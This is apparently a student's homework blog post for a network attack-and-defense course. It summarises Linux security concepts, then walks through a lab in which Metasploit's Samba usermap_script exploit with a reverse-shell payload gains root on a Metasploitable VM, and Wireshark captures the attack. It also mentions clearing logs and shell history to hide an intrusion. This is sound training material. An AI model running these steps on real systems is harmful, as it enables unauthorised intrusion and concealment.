zoukankan      html  css  js  c++  java
  • 20199305 2019-2020-2 《网络攻防实践》第八周作业

    20199305 2019-2020-2 《网络攻防实践》第八周作业

    一、前言

    问题 回答
    作业属于 https://edu.cnblogs.com/campus/besti/19attackdefense
    作业要求 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10553
    课程目标 学习教材第八章,完成课后实践

    二、知识梳理

    1、Linux操作系统基本框架概述

    (1)Linux系统结构

    • 进程与线程管理机制:抢占式多用户多进程模式

    • 内存管理机制:允许多个进程安全地共享物理内存区域。

    • 文件系统管理机制:虚拟文件管理VFS机制,支持数十种不同类型的逻辑文件系统。

    • 设备控制机制:设备驱动程序处理或管理硬件控制器的软件,本质是特权的、驻留内存的低级的硬件控制例程的共享库。

    • 网络机制:内核中网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。

    • 系统调用机制:系统调用接口,允许应用程序透过这层接口来访问硬件设备和其他系统资源。系统调用通过软中断实现。

    (2)Linux的系统结构内核的总体结构如下图所示:

    2、Linux系统远程攻防技术

    (1)Linux远程口令字猜测攻击

    • 利用Linux系统上的finger、rusers和sendmail之类的服务列举出目标系统上的用户账户名,即可猜测相关口令

    • Linux系统上的HTTP/HTTPS、FTP等网络服务拥有自己的用户账户体系和身份认证机制,可通过远程口令猜测获得网络服务的访问权,从而获取系统的本地访问权。

    • 远程猜测口令工具常用的有Brutus、THC Hydra、Cain and Abel等。

    • 对于远程口令猜测攻击的最佳防御措施就是使用不易猜中的强口令字

    (2)Linux网络服务远程渗透攻击

    • Linux内核中的网络协议栈攻击

    • LAMP WEB网站中的网络服务攻击

    • 电子邮件收发服务攻击

    • FTP、Samba等文件共享服务攻击

    3、Linux系统本地安全攻防技术

    (1)Linux系统上的消踪灭迹

    • 攻击者在攻陷Linux系统后,通常不希望给系统管理员留下自己的入侵记录,因而往往会去清理系统上的日志目录,从而有效地抹除掉自己的行动踪迹。

    • 攻击者还需要清理的是自己在shell程序中所输入的命令历史记录,shell是计算机用来解释你输入的命令然后决定进行何种处理的程序,Linux系统中的很多shell程序都记录运行过的历史命令,以提供检索和重复执行命令的功能。

    (2)Linux系统远程控制后门程序

    • 特洛伊木马化的系统程序

    • 命令行后门工具:提供远程命令行shell的访问,通常是使用Netcat等后门工具在系统上运行,开放监听一个TCP端口,在接收到请求之后返回一个Linux系统shell与客户端进行交互。

    • 图形化后门工具:最为常用的是图形化远程控制免费软件VNC。

    4、Linux操作系统安全机制

    (1)Linux身份认证机制

    Linux是一个多用户多任务的操作系统,通过创建多种角色类型的用户和用户组来进行用户身份管理

    • 用户:执行进程完成特定操作任务的主体,包括Root根用户、普通用户和系统用户

    • 用户组:具有相同特征的用户账号集合。

    • 本地登录用户认证机制:对用户在控制台登录的认证过程

    • 远程登录用户认证机制:普遍使用SSH服务进行远程用户登录,有基于口令的身份认证和基于非对称密钥的身份认证

    (2)Linux安全审计机制

    主要通过三个主要的日志子系统实现

    • 连接时间日志:系统管理员能跟踪谁在何时登录到系统

    • 进程统计日志:为系统中的基本服务提供命令使用统计

    • 错误日志记录:报告值得注意的事件

    (3)Linux授权与访问控制机制

    虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统授权和访问控制

    • 文件所有者:该文件属于哪个用户

    • 文件访问权限:通过附带的10个标志位进行设置

    • 文件的特殊执行权限:常见的SUID、SGID权限

    三、动手实践

    实践一:使用Metasploitable进行Linux远程渗透攻击

    问题: 使用Metaspolit作为渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取Linux靶机的主机访问权限

    实验将使用的虚拟机及其地址

    虚拟机 IP地址
    Kali 192.168.200.3
    Linux靶机 192.168.200.125

    1、在kali中输入msfconsole进入Metasploit

    2、输入指令search usermap来搜索渗透模块,结果如下图

    3、输入use exploit/multi/samba/usermap_script使用渗透模块,输入指令show payloads来获取攻击负载模块列表,并选择攻击负载模块,reverse tcp是指反向TCP连接,反向TCP:在正常转发连接中,客户端是通过服务器的开放端口连接到服务器的,但在反向连接的情况下,客户端会主动打开服务器上的端口。反向连接最常见的用途就是绕过防火墙和路由器的安全限制。在计算机科学与电信领域,负载(英语:Payload)是数据传输中所欲传输的实际信息,通常也被称作实际数据或者数据体,通俗一点讲,在程序的世界里,payload(有效载荷)就是对于接收者有用的数据

    4、输入指令set PAYLOAD cmd/unix/reverse来设置有效的攻击载荷

    5、输入指令set lhost 192.168.200.3设置攻击机地址,set rhost 192.168.200.125设置靶机地址

    6、输入指令show options看信息设置是否正确

    7、 执行攻击,攻击成功后使用指令whoami发现执行权限是root,使用指令ifconfig来查看靶机网络状态

    实践二、攻防对抗实验

    问题: 攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机试试网络攻击,防御方在Metasploitable上使用wireshark捕获攻击流。

    攻击方: 使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。

    防御方: 使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息。

    1、实践二与实践一步骤相似,也是先进入Metasploit、选择攻击负载模块、设置攻击机/靶机地址、查看payload状态,看信息设置是否正确

    2、在run之前启动wireshark抓包,然后启动攻击,可以看到首先攻击机向靶机发送一个SMB的Negotiate Protocol Request(协商协议请求)数据报,服务器响应一个SMB的Negotiate Protocol Response(协商协议响应)数据报

    3、然后攻击机向靶机发起一个Session setup X request(会话设置请求)数据报,靶机确认身份后发送一个Session Setup X Response(会话设置响应)数据报同意本次连接

    4、接下来是查看攻击发起时间,时间是2020年4月2日晚上10点59分58秒

    5、还有源端口、目的端口、源地址、目的地址,它们分别是38921139192.168.200.3192.169.200.125

    139端口是一种TCP端口,该端口在你通过网上邻居访问局域网中的共享文件或共享打印机时就能发挥作用copy。139端口一旦被Internet上的某个攻击者利用的话,就能成为一个危害极大的安全漏洞。因为黑客要是与目标主机的139端口建立连接的话,就很有可能浏览到指定网段内所有工作百站中的全部共享信息,甚至可以对目标主机中的共享文件夹进行各种编辑、删除操作,倘度若攻击者还知道目标主机的IP地址和登录帐号的话,还能轻而易举地查看到目标主机中的隐藏共享信息

    445端口也是一种TCP端口,该端口在Windows 2000 Server或Windows Server 2003系统中发挥的知作用与139端口是完全相同的。具体地说,它也是提供局域网中文件或打印机共享服务。不过该端口是基于CIFS协议(通用因特网文件系统协议)工作的,而139端口是基于SMB协议(服务器协议族)对外提供共享服务。同样地,攻击者与445端口建立请求连接,也能获得指定道局域网内的各种共享信息

    6、通过命令shellid查看shell权限账户及其所在的权限组,通过命令whomai查看当前权限账户,可以看到权限为root,无所不能

    7、回到wireshark,找到TCP协议密集的地方,追踪TCP流可以看见之前我们输入的命令


    8、还可以看到shellcode,将里面的数据输入base64却依旧不可得明码

    四、问题与解决

    1、再次遇到所有虚拟机无法重启

    答:解决方法如下图所示:

    2、本来打算用Nusses扫描靶机寻找漏洞再攻击,但打开winsowsattack的Nusses后却出现了以下的场景,目前尚未解决,待有结果后会进一步更新

    五、总结与反思

    相比于上周的作业本周的实践比较容易,内容相近,没遇到什么大的问题,就是在对shellcode的查找和内容的理解上还做的不够,准备找些资料再看看,现在逐渐地开始觉得这几周的知识点之间存在着紧密的联系,许多时候要运用到之前的知识,故打算抽时间再好好温习之前的知识点

    六、参考资料

    1、什么是139和445端口?

    2、linux系统组成及结构

    3、代码参数里的 payload 是什么意思???

    4、利用 Python 打造反向 TCP 后门

  • 相关阅读:
    HTML5 GAME TUTORIAL(三): Draw shapes, paths and text(译)
    HTML5 GAME TUTORIAL(二): Set-up an HTML5 canvas(译)
    HTML5 GAME TUTORIAL(一): Develop an HTML5 game(译)
    实现一个扇形的几种方法
    What Is Webpack and How Does It Work(译)
    What Does Webpack Do, and How Do I Use It for My Website?(译)
    Getting Started with NestJS(译)
    vue 渲染出来的列表点击的时候需要单独给li添加一个class
    移动端使用isscroll.js input无法获取焦点(就是点了没反应啦!)
    移动端适配之rem 笔记
  • 原文地址:https://www.cnblogs.com/20199305yizihan/p/12744896.html
Copyright © 2011-2022 走看看